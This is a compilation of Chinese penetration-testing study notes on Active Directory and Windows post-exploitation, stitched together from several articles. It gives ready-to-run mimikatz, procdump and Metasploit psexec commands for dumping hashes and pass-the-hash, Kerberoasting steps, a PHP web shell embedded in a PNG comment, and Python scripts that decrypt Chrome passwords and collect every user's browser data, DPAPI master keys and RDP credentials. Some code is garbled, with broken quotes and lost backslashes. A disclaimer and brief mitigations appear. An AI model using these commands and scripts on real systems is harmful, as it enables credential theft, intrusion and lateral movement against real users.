**
**
作者:大余
时间:2020-10-7
请注意:对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
我必须再重申一遍:务必不要做未授权测试!不要未经授权在真实网络环境中复现任何本书中描述的攻击。即使是出于好奇而不是恶意,你仍然会因未授权测试行为而陷入很多麻烦。为了个人能更好的继续学习发展,有很多漏洞奖励计划和靶场可以供你学习试验,但是请记住,即使是参加漏洞奖励计划,私自测试范围外的网站或对网站进行深入破坏也会让你有大麻烦。
在讲解本文之前,先介绍一下域账户和DNS的几个基本概念。
域账户
域账户是域是网络对象的分组。例如:用户、组和计算机。域中所有的对象都存储在 Active Directory (AD)下。Active Directory 可以常驻在某个域中的一个或多个域控制器下。
什么是DNS?
DNS( Domain Name System)是“域名系统”的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,它用于TCP/IP网络,它所提供的服务是用来将服务器名和域名转换为IP地址的工作,DNS就是这样的一位“翻译官”。
为什么需要DNS解析域名为IP地址?
网络通讯大部分是基于TCP/IP的,而TCP/IP是基于IP地址的,所以计算机在网络上进行通讯时只能识别如“202.96.134.133”之类的IP地址,而不能认识域名。我们无法记住10个以上IP地址的网站,所以我们访问网站时,更多的是在浏览器地址栏中输入域名,就能看到所需要的页面,这是因为有一个叫“DNS服务器”的计算机自动把我们的域名“翻译”成了相应的IP地址,然后调出IP地址所对应的网页。
DNS域传送(DNS zone transfer)
DNS域传送漏洞是黑客常用的一种漏洞攻击手段,黑客可以用该漏洞快速的判定出某个特定zone的所有服务器,收集域信息,选择攻击目标,找出未使用的IP地址,黑客可以绕过基于网络的访问控制。
DNS域传送漏洞原理
DNS域传送(DNS zone transfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库。
DNS服务器分为:主服务器、备份服务器和缓存服务器。在主服务器和备份服务器之间同步数据库,需要使用“DNS域传送”。域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。
一般来说,DNS域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有client发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的网络用户执行DNS域传送(zone transfer)操作是后果最为严重的错误配置之一。
综上所述,要实现域传送漏洞,就需要一个不安全配置的DNS服务器,然后网络上的任何用户都可以获取所有传送记录并收集有关网络中服务器的信息。然而,目前还很少有人知道,如果使用Active Directory集成DNS,任何用户都可以默认查询所有DNS记录。
本文,我会给你介绍了一个默认查询所有DNS记录的工具–Adidnsdump ,即使你是一个没有读取传送记录权限的用户,也可以使用以下方法获得域环境中的所有DNS解析记录。
具体获取过程
就我个人而言,每当我接手一个新的渗透测试任务时,我都会想法设法了解测试环境的网络布局,测试对象使用的软件以及有趣数据的位置。如果测试对象有非描述性服务器名称或描述,像BloodHound或ldapdomaindump这样的工具不会有太大帮助,因为SRV00001.company.local仍然没有告诉你在这台服务器上运行的是什么。在大量IP地址上运行EyeWitness等发现工具通常会返回大量默认的Apache / IIS页面,因为大多数站点都配置为侦听DNS名称而不是IP地址。此时你如果知道DNS记录,可能就会发现SRV00001.company.local和gitlab.company.local指向同一个IP,这个IP上可能存放着大量源码。
因此,我认为访问AD的DNS记录非常有价值。为此我编写了一个可以转储这些DNS记录的Adidnsdump。你既可以直接在网络中的主机运行它,也可以通过SOCKS隧道利用。
该工具的设计思路,是在我研究Active Directory DNS时开始的,主要受到Kevin Robertson在ADIDNS 上工作的启发。当我作为普通用户提取了ADSI Edit并突然看到了域中所有DNS记录时,我试图找出AD如何在LDAP中使用域来存储DNS记录。令我惊讶的是,早在2013年,就有人开发出可以提取DNS记录的PowerShell脚本,但它并没有完全符合我的要求,所以我决定用Python编写一个版本,并添加一些选项来枚举比默认情况下更多的记录。
DNS记录到底隐藏在哪了?
在LDAP中查询DNS记录的主要方法是选择dnsNode类的所有对象,然后执行查询操作,此时,你会看到DNS域中的所有记录。当我使用filter (objectClass=dnsNode)执行查询时,返回的结果非常有限。即使我手动浏览DNS域,都可以获取更多的记录。
如上图所示,很多记录的objectClass都处于隐藏状态,我想是因为计算机DNS记录的默认权限所导致的。这让我联想到了,不是通过活动目录DNS页面创建的其他记录,也是不会允许所有用户查看其内容的。再加上IP地址实际作为这些对象的属性来存储,因此无法查看这些记录中的IP地址。
但是,默认情况下,任何用户都可以创建新的DNS记录,任何用户也可以默认列出DNS域的子对象。至此,我们就知道DNS解析记录藏在哪儿了,只是无法使用LDAP查询它们而已。
通过使用LDAP枚举知道记录所在的位置之后,我们就可以直接使用DNS查询它,因为执行常规DNS查询不需要什么特别权限,这样我们就可以解析域中的所有记录。
使用adidnsdump查询所有DNS解析记录
点此GitHub,下载adidnsdump,它可以枚举DNS域中的所有解析记录。首先,使用参数–print-zones显示当前域中的所有区域。注意,并非所有的区域都有实际意义,例如转发(forward )、缓存和存根域并不包含该域的所有记录。如果找到这些域,最好查询它们实际所属的域。在我构建的测试域中,使用参数–print-zones只会输出默认域。
如果我们为adidnsdump指定域或者将默认域设置为空,我们将获得一个包含所有解析记录的列表。可以列出但不能读取的记录(即上述所谓的“隐藏”DNS记录)只会显示一个问号,因为不知道其中会存在哪种类型的记录以及它们指向何处。另外,这些记录会全部被保存到名为records.csv的文件中。
要解析这些未知记录,可使用参数-r,该标志将对所有未知记录执行A查询(如果你在IPv6网络中,则可以在代码中轻松将其更改为AAAA),之前的?都会显示出具体的记录内容。
如果你没有直接连接但通过代理工作,则可以通过socks代理该工具,并使用–dns-tcp标志通过TCP执行DNS查询。
缓解措施
为了安全起见,我建议你首先要对DNS记录的安全性持有客观的认知态度。如果你确实要隐藏DNS记录,就请删除“Everyone”和“Pre-Windows 2000 Compatible Access”的“列出内容”权限,以阻止普通用户查询DNS记录。但这可能会产生负面影响,所以我不建议那样做。
所以最好的办法是及时检测DNS查询活动的出现,通过监控大量DNS查询或启用对DNS区域列表的审计可能是一种更好的缓解措施。
adidnsdump可以通过GitHub 和PyPI(pip install adidnsdump)安装使用,现在,该工具仅将获取的记录转储到CSV文件。不过,你可以自己把文件转换为其他格式。
参考文章:
https://beta.4hou.com/web/17955.html --原文
https://nosec.org/home/detail/2527.html
https://www.cnblogs.com/huangsheng/p/10736796.html
原理分析
Windows的对每个用户生成密码的hash值,数据存储在注册表的HKLMSAM中。密钥存储在HKLMSYSTEM中。
从SAM数据库中获取密码hash,需要SYSTEM中的syskey
1、读取HKLMSYSTEM中的syskey
syskey由目录
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa
下JD、Skew1、GBG和Data等键值中的内容拼接而成
获取代码如下:
int CRYPT_SyskeyGetValue(s_SYSKEY *pSyskey) {
DWORD dwSecureBoot=0;
BYTE syskey[16];
BYTE syskeyPerm[16]={0x8,0x5,0x4,0x2,0xb,0x9,0xd,0x3,0x0,0x6,0x1,0xc,0xe,0xa,0xf,0x7};
int i;
if(!RegGetValueEx(HKEY_LOCAL_MACHINE,”SYSTEM\CurrentControlSet\Control\Lsa”,”SecureBoot”,NULL,&dwSecureBoot,sizeof(dwSecureBoot),NULL))
return SYSKEY_REGISTRY_ERROR;
if(dwSecureBoot != 1)
return SYSKEY_METHOD_NOT_IMPL;
if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,”SYSTEM\CurrentControlSet\Control\Lsa”,”JD”,syskey))
return SYSKEY_REGISTRY_ERROR;
if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,”SYSTEM\CurrentControlSet\Control\Lsa”,”Skew1″,syskey+4))
return SYSKEY_REGISTRY_ERROR;
if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,”SYSTEM\CurrentControlSet\Control\Lsa”,”GBG”,syskey+8))
return SYSKEY_REGISTRY_ERROR;
if(!SyskeyGetClassBytes(HKEY_LOCAL_MACHINE,”SYSTEM\CurrentControlSet\Control\Lsa”,”Data”,syskey+12))
return SYSKEY_REGISTRY_ERROR;
for(i=0;i<16;i++)
pSyskey->key[i] = syskey[syskeyPerm[i]];
return SYSKEY_SUCCESS;
2、使用syskey解密HKLMSAM
获得
HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers
中每个用户的F和V的键值内容,使用syskey进行解密
离线读取sam数据库
1、导出数据库
方法一(注册表):
reg save HKLMSYSTEM c:usersuserdesktopSYSTEM
reg save HKLMSAM c:usersuserdesktopSAM
方法二(复制文件):
存放路径
C:WindowsSystem32configSYSTEM
C:WindowsSystem32configSAM
因为正常内存中可能无法被打开
2、使用mimikatz导出用户hash
lsadump::sam /sam:sam /system:system
目标机器直接读取
根据目标相应位数传入mimi,管理员权限启动mimikatz
privilege::debug
token::elevate
lsadump::sam
使用procdump.exe进行内存转储
作用:
微软维护工具,主要使用它来进行内存转储。Windows在运行的时候不能复制SYSTEM和SAM文件。
该方法只能在Window 2003、Windows 2008、Windows 2008 R2,且没有打补丁(KB2871997)的情况下可以获取该系统在未清理内存(意为未重启)时存储的登录信息凭证。
Windows 2012及以上版本需要开启注册表记录明文密码,方可转储。
方法:
HKLM:SYSTEMCurrentControlSetControlSecurityProvidersWDigest的”UseLogonCredential”设置为1,型为DWORD 32�
cmd修改:
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1
powershell修改:
PS C:> New-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlSecurityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 1
procdump语法:
procdump.exe -accepteula -ma lsass.exe c:windowstapia.dmp
图形界面转储
MIMIKATZ-SEKURLSA::LogonPasswords
语法:
privilege:debug # 设置权限
sekurlsa::minidump lsass.dmp # 选择要读出的内存文件
sekurlsa:logonpasswords # 获取密码
后记
其实获取本地hash还有很多工具可以利用,这边分享的是比较通用的方法
参考文章:
http://www.secwk.com/2019/09/08/6372/
https://scarletf.github.io/2019/09/03/域渗透-导出域用户Hash方法/
https://xz.aliyun.com/t/2527 ---如何Dump域内的Hash
https://cloud.tencent.com/developer/article/1165439 --导出域内用户hash的几种方法
这几种方法,结合下思想
然后书中的两个续集思路…
关于SPN
服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定的服务实例可以具有多个SPN。通过SPN,可快速定位开启了关键服务的机器,这样就不需要去扫对应服务的端口,有效规避端口扫描动作
SPN格式
服务类和FQDN是必需参数,端口和服务名是可选的。
setspn
setspn是系统自带的查找和设置spn的命令
1、列出注册的spn
参数接受计算机名或者用户名。
2、配置spn
3、在指定的域或林上查询SPN
SPN扫描工具
GetUserSPNS
Find-PSServiceAccounts
Get-SPN2
GetUserSPNs.py
支持非域内机器扫描查找
Kerberoasting
知道相关服务的SPN后,可以用SPN申请一张票据 ST,如果Kerberos 协议设置票据为 RC4加密,则可通过爆破的方式得到服务对应用户的密码。
首先,申请票据,在powershell上。
Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/mssql.cate4cafe.com:1433"
使用klist查看票据申请是否成功。接着可使用mimikatz导出票据,再通过hashcat爆破即可。或者使用。
Invoke-Kerberoast.ps1导出转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串。
在我们取得了 SPN 的修改权限后,可以为指定的域用户添加一个 SPN,这样可以随时获得该域用户的 TGS ,经过破解后获得明文口令,可以作为一个后门使用
https://sec.thief.one/article_content?a_id=594539e5b195b5fc38051bf7fb438524 --详细文章
https://rcoil.me/2019/06/【域渗透】SPN%20扫描利用/
https://www.freebuf.com/articles/system/174229.html --老文章 SPN服务主体名称发现详解
想要继续了解的可以查看这两篇文章,巩固下
1、哈希传递攻击概念
有一点内网渗透经验的都应该听说过哈希传递攻击,通过找到相应账户相关的密码散列值(LM Hash,NTLM Hash)来进行未授权登陆。
可参考Wikipedia的介绍,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash
在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登陆内网中的其他计算机。
在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
因此,攻击者如果使用工具将散列值传递到其他计算机中,进行权限验证,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),实现对计算机的控制
#NTLM Hash与NTLM
hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。
在Windows中,密码Hash目前称之为NTLM Hash,其中NTLM全称是:“NT LAN Manager”。这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。也就是说,NTLM与NTLM Hash相互对应。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较
注:
mimikatz支持导出内存中用户的LM hash,但前提是Windows系统支持LM hash
Windows Server 2008启用LM hash的方法:
gpedit.msc->计算机配置->Windows 设置->安全设置->本地策略->安全选项
找到网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值,选择已禁用
系统下一次更改密码后,就能够导出LM hash(已经被弃用了)
2、利用方法
首先就是神器mimikatz,但你首先得拥有本地管理员的执行的权限
privilege::debug
sekurlsa::logonpasswords
复制NTLM Hash的值
sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm:7365e3b22baeaebc0411873eedf84390
完成之后会弹出cmd.exe,或者重新开一个命令行
也可以尝试列出被哈希传递攻击的域内靶机的c盘内容
#利用ms进行哈希传递攻击
msf内置的mimikatzi获取hash(需要管理员权限)
在msf中也内置有mimikatz,以下命令都可以在msf中获取hash
hashdump
run hashdump
run post/windows/gather/smart_hashdump
除了meterpreter自带的,还可以通过加载mimikatz获得:
load mimikatz(必须,否则无以下命令)
msv 获取的是hash值
tspkg tspkg凭证相关的模块
wdigest 读取内存中存放的账号密码明文信息
kerberos kerberos相关的模块
ssp 获取的是明文信息
mimikatz的原生命令在这里有些改动
mimikatz_command 模块可以让我们使用mimikatz的全部功能
meterpreter > mimikatz_command -f a:: 输入一个错误的模块,可以列出所有模块
meterpreter > mimikatz_command -f samdump:: 可以列出samdump的子命令
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f handle::list 列出应用进程
meterpreter > mimikatz_command -f service::list 列出服务
例如
mimikatz_command -f samdump::hashes 获取hash
建议每种都试一下,可能因为windows版本的高低,有些情况一种命令获取不到,比如我的win2003就只能用hashdump命令才能看到密码hash
#msf的kw模块(需要系统权限)
kiwi就是msf内置的mimikatz模块的升级版
但是kiwi是默认加载32位系统的,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后用migrate命令将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。如果目标系统是32位的,则没有这个限制。
使用前先在meterpreter下加载kiwi模块
使用命令creds_kerberos
列举所有kerberos凭据
可以看到我之前用msf内置的mimikatz没有加载出来的密码,现在明文加载出来了。
再来将用户hash密码加载出来kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
可以看到成功列出用户密码hash
kiwi模块命令集合
creds_all: 列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync: 通过DCSync检索用户帐户信息
dcsync_ntlm: 通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list: 列出当前用户的wifi配置文件
wifi_list_shared: 列出共享wifi配置文件/编码
msf psexec模块
PsExec是sysinternals套件中的一款强大的软件,通过他可以提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,尤其是在域环境下。但现在,攻击者渐渐开始使用psexec,通过命令行环境与目标靶机进行连接,甚至控制目标机器,而不需要通过远程连接协议(RDP)进行图形化设置,降低了因为恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件可能会将其列入白名单)
msf中有3个psexec模块都可以进行Hash传递利用:
#执行单个命令的PTH模块
auxiliary/admin/smb/psexec_command
# 执行直接就获取到meterpreter的PTH模块
exploit/windows/smb/psexec
# 支持对一个网段进行PTH进行验证的模块
exploit/windows/smb/psexec_psh
再使用pesxec模块之前要保证:
开启445端口 SMB服务
开启admin$共享
使用之前板块获取到的管理员NTLM Hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7365e3b22baeaebc0411873eedf84390
这里前半部分的LM Hash不重要,只要保证后半部分的NTML Hash正确就行
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set lhost 192.168.5.128
lhost => 192.168.5.128
msf5 exploit(windows/smb/psexec) > set rhost 192.168.5.11
rhost => 192.168.5.11
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf5 exploit(windows/smb/psexec) > set smbpass a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
smbpass => a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
msf5 exploit(windows/smb/psexec) > run
这里还有很多不错的获取hash方法没写(主要是懒,用msf方便),比如PowerShell、WCE、AES-256密钥哈希传递、python第三方库impacket下的secretsdump等等,以后有空再记录吧…
3、防范措施
KB2871997补丁的影响
防范首先想到打补丁,微软也早在2014年5月发布了KB2871997补丁,该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbecec等,也无法访问远程的文件共享等。
但实际上就算打了KB2871997补丁后,Administrator账号(SID为500)也是例外的,使用该账户的NTLM Hash依然可以进行哈希传递
防御mimikatz攻击
mimikatz在抓取散列值或明文密码时,需要用到Debug权限(因为mimikatz需要和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程里的密码)。而Debug权限归本地管理员Administrator所有,目的是确定哪些用户可以将调试器附加到任何进程或内核中,但一般Administrator不会用到这个权限(除非是系统进程)。
所以在配置用户权限时,可以将拥有Debug权限的本地管理员从Administrator组中移除。重启系统之后,在运行mimikatz,在第一步"privilege::debug"时就会报错了
参考文献:
http://saucer-man.com/information_security/443.html#cl-11
https://saucer-man.com/information_security/79.html#cl-13
https://www.freebuf.com/articles/system/217681.html
https://blog.csdn.net/qq_36119192/article/details/104802921
https://www.cnblogs.com/Mikasa-Ackerman/p/hou-shen-tou-zhong-de-mi-ma-zhua-qu.html
哈希传递-远程登录,这里书上还介绍了:
后期尝试下…
个人实例:
ExifTool可读写及处理图像、视频及音频,例如Exif、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。包括许多相机的制造商信息读取,如佳能,卡西欧,大疆,FLIR,三星等
root@kali:/home/dayu/桌面/dayuMagic# exiftool -lang zh-cn -a -u -g1 ./sample.php.png
---- ExifTool ----
ExifTool 版本 : 11.99
---- System ----
文件名 : sample.php.png
文件存储位置 : .
文件大小 : 2.2 kB
更新日期 : 2020:08:26 08:42:26+08:00
File Access Date/Time : 2020:08:26 08:49:11+08:00
File Inode Change Date/Time : 2020:08:26 08:48:46+08:00
File Permissions : rw-r--r--
---- File ----
文件格式 : PNG
File Type Extension : png
MIME Type : image/png
---- PNG ----
像宽 : 200
像高 : 150
Bit Depth : 8
Color Type : RGB
压缩方案 : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
文件改变的日期和时间 : 2019:09:05 13:29:11
注释 : <?php system($_REQUEST[cmd]); ?>
---- PNG-pHYs ----
Pixels Per Unit X : 2835
Pixels Per Unit Y : 2835
Pixel Units : meters
---- Composite ----
图像尺寸 : 200x150
Megapixels : 0.030
在大型内网渗透中,尤其是针对办公机的渗透,需要熟知目标集体或者个人的作息时间,工作时间,文档时间,咖啡时间,或者需要从某些文件中获取对方的真实拍摄地坐标等。那么无疑需要快速的从大量文件中筛选信息诉求。当目标越复杂,文件中的信息搜集就更为重要。如文档作者,技术文章作者,财务文档作者等,熟知在大量人员,获取对方职务,大大减少渗透过程中的无用性,重复性,可见性。与暴露性。而作为公司,应该熟悉相关文档的内置属性,尤其是在共享文件服务器上,删除或者复写敏感信息来降低企业安全风险。
本篇意旨企业安全在处理本公司相关敏感文件以及重要文件应做好更多的防范,尤其是重要部门,如研发,财务等。
0x01. 知识简介
1、DPAPI:
全称Data Protection Application Programming Interface
Windows系统的一个数据保护接口
主要用于保护加密的数据,常见的应用如:
Internet Explorer,Google Chrome中的密码和表单
存储无线连接密码
远程桌面连接密码
Outlook,Windows Mail,Windows Mail等中的电子邮件帐户密码
内部FTP管理员帐户密码
共享文件夹和资源访问密码
Windows Credential Manager
Skype
Windows CardSpace
Windows Vault
EFS文件加密
2.、DPAPI blob:
一段密文,可使用Master Key对其解密
3.、Master Key:
64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中
4.、Master Key file:
a. 二进制文件,可使用用户登录密码对其解密,获得Master Key
b. 分为两种:
用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID% 存储用户的登陆密码
系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User 存储wifi等各种密码
c. 固定位置:
%APPDATA%\Microsoft\Protect%SID%,该目录下往往有多个Master Key file,这是为了安全起见,系统每隔90天会自动生成一个新的Master Key(旧的不会删除)
5、 Preferred文件:
位于Master Key file的同级目录,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期
0x02 在线解密当前用户google浏览器下保存的密码
# 在线获取当前用户google浏览器下保存的密码
import os, sys
import shutil
import sqlite3
import win32crypt
db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
print(db_file_path)
# tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
tmp_file = './loginData'
print(tmp_file)
if os.path.exists(tmp_file):
os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)
conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
try:
ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
print('url:%-50s username:%-20s password:%s' % (row[0], row[1], ret[1].decode('gbk')))
except Exception as e:
print('url:%-50s get Chrome password Filed...' % row[0])
pass
conn.close()
os.remove(tmp_file)
0x03. 离线导出当前系统下另一用户的Chrome密码
使用工具Windows Password Recovery
解密需要获得三部分内容:
加密密钥(即Master Key file),位于%appdata%\Microsoft\Protect下对应sid文件夹下的文件
数据库文件Login Data
用户明文的密码,用于解密加密密钥
环境模拟:
环境:一台windows10机器,里面装有谷歌浏览器,用户有administrator和test等等其他用户
目的:当我们拿到shell后,当前用户是administrator,我们想要获取test等其他用户在当前系统保存的谷歌浏览器密码。
前提条件:需要知道test账户的明文密码,可以通过导注册表方法获取test的明文密码
工具:py编译后的exe工具
filepack.exe执行后会获取 1. 所有用户谷歌浏览器的Login Data文件 2. 获取所有用户的master key file 3. 获取所有用户的rdp保存凭证(该文件用来破解RDP,此处无用)
如下图是filepack.exe执行的结果,会在当前目录生成三个压缩文件
goole.zip是所有用户谷歌浏览器的Login Data压缩包 protect.zip是所有用户的master key file压缩包 rdp.zip是所有用户的rdp保存凭证压缩包
filepack源码
获取目标服务器的重要文件
– coding:utf-8 -
import os import shutil import sqlite3 import win32crypt
users_dir = os.environ[‘userprofile’].rsplit(’’, 1)[0] # 获取users目录的路径
def searchlogindata(path, name): for root, dirs, files in os.walk(path): if name in files: root = str(root) logindatapath = root + ‘’ + name return logindatapath
获取所有用户的谷歌的Login Data文件
def logindata(): print(’-’ * 50 + ‘\n’ + r’[2] Get all users Google login data files:’) name = ‘Login Data’ for username in os.listdir(usersdir): Googledir = usersdir + ‘’ + username + r’\AppData\Local\Google’ logindatapath = searchlogindata(Googledir, name) if logindatapath: try: os.makedirs(’./google’) except Exception as e: pass dst = ‘./google/{}logindata’.format(username) shutil.copyfile(logindatapath, dst) print('copy [{}] '.format(logindatapath)) logindatapath = ‘’
if os.path.isdir('google'):
shutil.make_archive("./google", 'zip', root_dir='./google')
print('[+] success! google.zip save to {}\pgoogle.zip'.format(os.getcwd()))
shutil.rmtree('./google')
获取所有用户的master key file
def masterkey(): print(’-’ * 50 + ‘\n’ + r’[3] Get the master key file for all users:’) for username in os.listdir(usersdir): Protectdir = usersdir + ‘’ + username + r’\AppData\Roaming\Microsoft\Protect’ if os.path.isdir(Protectdir): shutil.makearchive("./protect/{}protect".format(username), ‘zip’, rootdir=Protectdir) # 每个用户的protect压缩为usernameprotect.zip print(‘copy [{}]’.format(Protectdir))
if os.path.isdir('protect'):
shutil.make_archive("./protect", 'zip', root_dir='./protect')
print('[+] success! protect.zip save to {}\protect.zip'.format(os.getcwd()))
shutil.rmtree('./protect')
获取所有用户的rdp保存凭证
def rdp(): print(’-’ * 50 + ‘\n’ + r’[4] Get RDP save credentials for all users:’) for username in os.listdir(usersdir): RDPdir = usersdir + ‘’ + username + r’\AppData\Local\Microsoft\Credentials’ if os.path.isdir(RDPdir): shutil.makearchive("./rdp/{}rdp".format(username), ‘zip’, rootdir=RDPdir) print(‘copy [{}]’.format(RDPdir))
if os.path.isdir('./rdp'):
shutil.make_archive("./rdp", 'zip', root_dir='./rdp')
print(r'[+] success! rdp.zip save to {}\rdp.zip'.format(os.getcwd()))
shutil.rmtree('./rdp')
logindata() masterkey() rdp() ```
readlogindata.exe用来读取谷歌浏览器的链接,用户名和密码(密码需要解密)
获取当前系统所有用户谷歌浏览器的密码
– coding:utf-8 –
import sqlite3 import sys import os
try: os.makedirs(’./password’) except Exception as e: pass
LoginDatafile = sys.argv[1] # Login Data文件名
conn = sqlite3.connect(LoginDatafile) cursor = conn.cursor() cursor.execute(‘SELECT actionurl, usernamevalue, passwordvalue FROM logins’) for each in cursor.fetchall(): url, username, password = each print(’[{}] [username:{}] [password:需要解密]’.format(url, username)) with open(’./password/{}password.txt’.format(username), ‘ab’) as f1, open(’./password/urluserpwd.txt’, ‘at’) as f2: f1.write(each[2]) f2.writelines(‘url: {}\nusername: {}\npassword: \n{}\n’.format(url, username, ‘-’*50))
**
下图是保存所有用户谷歌浏览器的Login Data压缩包,login_data前缀是用户名,比如是administrator和test用户
下图是保存所有用户的master key file压缩包,protect前缀是用户名,比如是administrator和test和fskldfn用户
将压缩包解压后,使用readloigndata.exe去读取login data文件。
此处以test用户举例
此处是将test用户的谷歌浏览器内容读取出来
因为不是当前用户,所以密码是密文需要解密。密文密码保存在当前目录的password目录下
_password.txt前缀是谷歌浏览器每个链接的用户名
urluserpwd.txt是谷歌浏览器所有保存的链接、账号、密码
接下来使用wpr工具解密每个_password.txt,下载地址:
设置DPAPI blob file指向上述步骤生成的test用户的txt文件,然后点击下一步
设置Master Key File 指向test用户的master key
选择是
输入test用户的明文,点击下一步,选择确定
成功读取到密码,该密码就是下面链接对应的密码。
url: http://192.168.1.3/DVWA-master/login.php username: admin password:
同理可以去读取root账号对应的密码!
参考文章:
https://cloud.tencent.com/developer/article/1512066
http://www.5dmail.net/html/2007-5-9/20075901045.htm
https://www.cnblogs.com/94YY/archive/2011/05/28/2060887.html
这很老的知识点,当做一种思路吧…
https://www.jianshu.com/p/6c11412947e5 --mimikatz获取
https://www.4hou.com/posts/yJ4z ---lsass获取
https://www.cnblogs.com/0xdd/p/11394566.html
这个方法很简单,看看就记住了…
https://xz.aliyun.com/t/4008 --详细
https://blog.csdn.net/smli_ng/article/details/106111493
还有书上思路
这里遇到了就来查…
字典集合分享
https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
https://weakpass.com/download
http://ophcrack.sourceforge.net/tables.php
https:/github.com/fuzzdb-project/fuzzdb
https://wiki.skullsecurity.org/passwords#Password_dictionaries
战略支援部近期会对网络上的字典进行下载整理汇总,形成较完整的字典表…拿走
其他暴力破解软件
Aircrack-ng-WIFI破解工具
John The Ripper--功能强大的破解工具包
Medusa--在线破解工具
Ophcrack--LM-Hash破解神器
THC Hydra--在线破解工具
WFUZZ--WebFuzz神器
在线解Hash网站
https://www.cmd5.com/
https://crackstation.net/
https://www.onlinehashcrack.com/
tps:/www.objectif-securite.ch/ophcrack.php
https://hce.iteknical.com/
前言
WinSCP是一个Windows环境下使用的SSH的开源图形化SFTP客户端。同时支持SCP协议。它的主要功能是在本地与远程计算机间安全地复制文件,并且可以直接编辑文件。而我们的主要目的是为了读取里面各种的SHH连接密码。
所有操作全部在管理员权限下进行
最新版Winscp为例
通过powershell脚本搞定,或者RDP直接登录连接查询等。 「绿色版无安装记录」
beacon> powershell-import /Users/anonysec/ListInstalledPrograms.ps1
beacon> powershell Get-list
前提,目标得事先保存连接密码
确定Winscp存储位置
